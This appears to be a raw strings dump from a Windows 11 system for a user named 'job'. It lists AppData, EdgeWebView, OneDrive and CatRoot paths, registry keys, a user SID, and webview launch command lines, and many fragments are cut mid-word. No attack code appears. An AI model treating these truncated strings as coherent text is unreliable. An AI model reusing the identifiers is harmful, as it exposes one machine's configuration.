\Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.BingSearch_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.AV1VideoExtension_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\RoamingState \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\ecedae92dc2a36db_0 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Scans\mpcache-DADA29A4EF6E5A2D592C68A16E563385C71EF9D9.bin.01 \Device\HarddiskVolume3\Windows\System32\LogFiles\WMI\RtBackup\EtwRTTerminal-Services-LSM-ApplicationLag-5780.etl \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe earch \Device\HarddiskVolume3\Windows\System32\LogFiles\WMI\RtBackup\EtwRTTerminal-Services-LSM-ApplicationLag-5780.etl hema.bin \Device\HarddiskVolume3\ProgramData\Microsoft\Diagnosis\AggregatorStorage\Triggers\13894422788741241675_data.dat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\f26bd39c964eabf6_0 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Other \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\ecb2040d2ece38bf_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat.LOG1 \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\27af5bf692004ca0_0 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\icudtl.dat \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\27af5bf692004ca0_1 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\d5a24fccd1204973_0 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\ecb2040d2ece38bf_0 \Device\HarddiskVolume3\Windows\System32\LogFiles\WMI\RtBackup\EtwRTTerminal-Services-LSM-ApplicationLag-5780.etl \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\703a9a4961122e80_1 \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Steps-Recorder.evtx View Default \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat.LOG1 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Other \Device\HarddiskVolume3\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\Caches\cversions.3.db \Device\HarddiskVolume3\Windows\System32\LogFiles\WMI\RtBackup\EtwRTTerminal-Services-LSM-ApplicationLag-5780.etl hema.bin \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy .dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\icudtl.dat lState\EBWebView \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\resources.pri \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat.LOG2 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat.LOG2 efault \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\468720f7dc3cf397_0 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\9ed76774ced27e71_0 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\ecedae92dc2a36db_1 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Other \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vk_swiftshader.dll trings.json \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\5dc289ad27da32af_0 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vk_swiftshader.dll trings.json \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vk_swiftshader.dll trings.json \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat.LOG2 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\83b038b0a7cfd3ba_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SettingsCache.txt \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\758c16d90a2fe752_0 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\0e90db3095f3e6ec_0 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\758c16d90a2fe752_1 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\0ce334799d7d3fce_0 <+ncalrpc:[OLE99144A53C79137CF12B14653B7A5] Windows11\job Service-0x0-3e5$\Default \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\1b253b58c9a87e4b_1 \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.UI.Xaml.2.8_8.2501.31001.0_x64__8wekyb3d8bbwe\resources.pri Service-0x0-3e5$\Default \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.UI.Xaml.2.8_8.2501.31001.0_x64__8wekyb3d8bbwe\resources.pri \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\icudtl.dat ew2.exe e.dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\283df284fc76dcd1_0 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\283df284fc76dcd1_1 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\35bed211f716c812_0 \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.UI.Xaml.2.8_8.2501.31001.0_x64__8wekyb3d8bbwe\resources.pri \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe ttingsCache.txt \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\35bed211f716c812_1 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe ttingsCache.txt \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vk_swiftshader.dll trings.json \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\icudtl.dat ew2.exe e.dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\9ed76774ced27e71_1 \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Cortana.Settings.winmd .dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\1bba5efe2b2b0ced_1 \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\resources.pri \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Cortana.Settings.winmd .dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\f9a2cf96bff9d474_0 RoamingState AppData RoamingState AppData RoamingState CacheStorage \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat::$ATTRIBUTE_LIST Session Storage .xix !$##$#$$$$#$ "$$#$#$$$$#$#$$$$# EditEnvItems CortanaUI StdOpenDocument StdEditDocument StdDoVerbItem StdDocumentName CortanaUI CortanaUI StdShowItem SysSetRedraw CortanaUI CortanaUI CortanaUI CortanaUI CortanaUI UxSubclassInfo CC32SubclassInfo CortanaUI StdNewfromTemplate StdCloseDocument StdNewDocument CortanaUI CortanaUI AnimatedFacadePropertyChangesComplete.7880.7916 CortanaUI CortanaUI CortanaUI CortanaUI CortanaUI CortanaUI CortanaUI DeferredAnimationOperationsComplete.7880.7916 CortanaUI CortanaUI CortanaUI CortanaUI CortanaUI Chrome_WidgetWin_0 CortanaUI CortanaUI \Users\job\AppData\Local\Microsoft\OneDrive\logs \Windows\Globalization\Sorting\SortDefault.nls CortanaUI CortanaUI CortanaUI CortanaUI CortanaUI CortanaUI CortanaUI CortanaUI CortanaUI CortanaUI RICHEDIT50W CortanaUI CortanaUI CortanaUI CortanaUI 1033 Windows Media \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\identity_proxy\dev.identity_helper.exe.manifest msgsm32.acm wdmaud2.drv.mui data_2 \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.UI.Xaml.2.8_8.2501.31001.0_x64__8wekyb3d8bbwe\resources.pri:WofCompressedData WIN://SYSAPPID Microsoft.UI.Xaml.2.8_8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat::$ATTRIBUTE_LIST .tmp .1.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\data_3 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\data_2 \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Lxss-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat WofCompressedData S-1-5-18 \Device\HarddiskVolume3\Windows\System32\wbem\WmiApSrv.exe index %#$')* (&1. 323,567089=<>?A@:ECDGBIHFMN4KQJLSRVPOWUTYZ[X^_a\cefd]gbhjmnloqk`ruswxvipzy}t~ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%55555555555555555555555555555555FFFFFFFFFFFFFFFF LOCK \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A nifest \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Local Storage\leveldb\LOG \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy\machine.pckgdep 5799d0f0cc1_1 setup logs SE.E \WINDOWS\SYSTEM32\SCHEDCLI.DLL \WINDOWS\SYSTEM32\ pnlLayout.xml d2d1.dll.mui \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\SysWOW64\wtdccm.dll SEGOE UI Segoe UI SEGOE UI Segoe UI extApps.xml rs\en-US\spaceport.sys.mui TERMIN~1.ICOTerminal Server.ico TESTSE~1.ICOTest Server.ico WORKST~1.ICOWorksta TON.app.0.129c866_r7_ad1 DataExchange.dll C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe 5w.mca Windows.AppService \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\App.AppX7rzacqv9fsema8p3fjbs30qgtgv0xzyg.mca egateCac Service-0x0-3e7$\Default general.keystore DRIVERS\NTFS.SYS ,\WINDOWS\SYSTEM32\ d\index-dir\the-real-index~RF1364d.TMP the-real-index~RF1362e.TMP s\System32\input.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index-dir\temp-index mscoree.dll Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy Microsoft.Windows.Co tDeliver ager OneDrive FileSyncViews.dll \Device\HarddiskVolume3\Windows\System32\winmm.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\9cc3554b232e42aa87d1817f20f96874\System.Xml.ni.dll:WofCompressedData FileSyncCxP.dll ECSConfig.json Qt5Gui.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\353698 sers\job\AppData\Local\Microsoft\OneDrive\logs\Personal\SyncEngine-2026-02-24.0806.5016.1.aodl LogUploader.dll \Device\HarddiskVolume3\Windows\System32\Windows.Networking.Connectivity.dll Qt5Qml.dll Personal e\HarddiskVolume3\Windows\System32\mlang.dll SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\CldFlt0-2026-02-24-080700.etlgz SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM \Windows\assembly\NativeImages_v4.0.30319_32\System.Core\11f67a51b42b5a7259cc452d68c29f98 SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM \Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a \Device\HarddiskVolume3\Windows\SysWOW64\WindowsCodecs.dll SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM \Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM WNS Data Connection \Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089 SMARTLOCKER://SMARTSCREENORIGINCLAIM \Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\Microsoft\Protect\S-1-5-18\User\Preferred \REGISTRY\MACHINE\SYSTEM\ControlSet001\CONTROL\VIDEO\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0000 \Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089l \Device\HarddiskVolume3\Windows\System32\Microsoft\Protect\S-1-5-18\User\Preferred \Device\HarddiskVolume3\Windows\System32\Microsoft\Protect\S-1-5-18\User\Preferred \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\WebCache\V01.chk SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM \Device\HarddiskVolume3\Windows\System32\Microsoft\Protect\S-1-5-18\User\Preferred SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM Local StateState-Tmp-4510f335-1fe3-437d-af5f-f90c6b0ece62.tmp SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy\machine.pckgdep SHA384 SHA384 RNSVG.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000165 TokenBroker tiptsf.dll SEGOE UI Segoe UI \Device\HarddiskVolume3\Program Files (x86)\Common Files\Microsoft Shared\ink\tiptsf.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbemcomn.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat SEGOE UI Segoe UI \Device\HarddiskVolume3\Windows\System dll.mui Resources\wininet.dll.mun \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat Icons \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\App.AppX9s1cz53zc86xn39kwrb02jyft9ecn62r.mca \REGISTRY\MACHIN es\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\App.AppXa372cjaa29frn3f9zb3m28rmfsm402nx.mca INetCookies Safety \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\show_third_party_software_licenses.bat \Reg stem\CurrentControlSet\Control\Video\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0005 \Device\HarddiskVolume3\Windows\System32\mpr.dll 42EC S-1-5-21-3914889805-4071901059-918772286-1001 MicrosoftWindows.Client.CBS_cw5n1h2txyewy WebStorage \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp\47e48d23-f01b-435a-9a85-836f3625905a.tmp vcPnPDeviceBlacklist","RegValueType":"REG_SZ","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\InvSvc"}}}} entoryMiscellaneous","RegValueType":"REG_SZ","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\ProviderFullSync"},"InventoryMiscellaneousUser":{"ValueName":"InventoryMiscellane "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=SearchHost.exe --webview-exe-version=2125.34901.0.0 --user-data-dir="C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --enable-features=msEdgeFluentOverlayScrollbar --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)" --lang=en-US --mojo-named-platform-channel-pipe=7880.8048.2576669683719983878 /pfhostedapp:a558757a2a6beecd631aec818273c1c2997db5cf \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Cookies 000012.log form-channel-pipe=7880.8048.2576669683719983878 /pfhostedapp:a558757a2a6beecd631aec818273c1c2997db5cf \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Cookies er": \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\index 86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Advertising s\System32\msxml6r.dll Service-0x0-3e7$\Default ugin_Enabled","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_ACTIONLIMIT":{"ValueName":"DynamicProtectionP "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView /prefetch:4 /pfhostedapp:a558757a2a6beecd631aec818273c1c2997db5cf --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=145.0.7632.110 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=145.0.3800.70 --initial-client-data=0x16c,0x170,0x174,0x148,0x1ac,0x7ffc4c950f18,0x7ffc4c950f24,0x7ffc4c950f30 \Device\HarddiskVolume3\Windows\System32\Windows.Management.Workplace.dll S-1-15-2-350187224-1905355452-1037786396-3028148496-2624191407-3283318427-1255436723 \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\de.pakdates 15-2-283421221-3183566570-176Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\el.pakdates \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\da.pak \Program Files 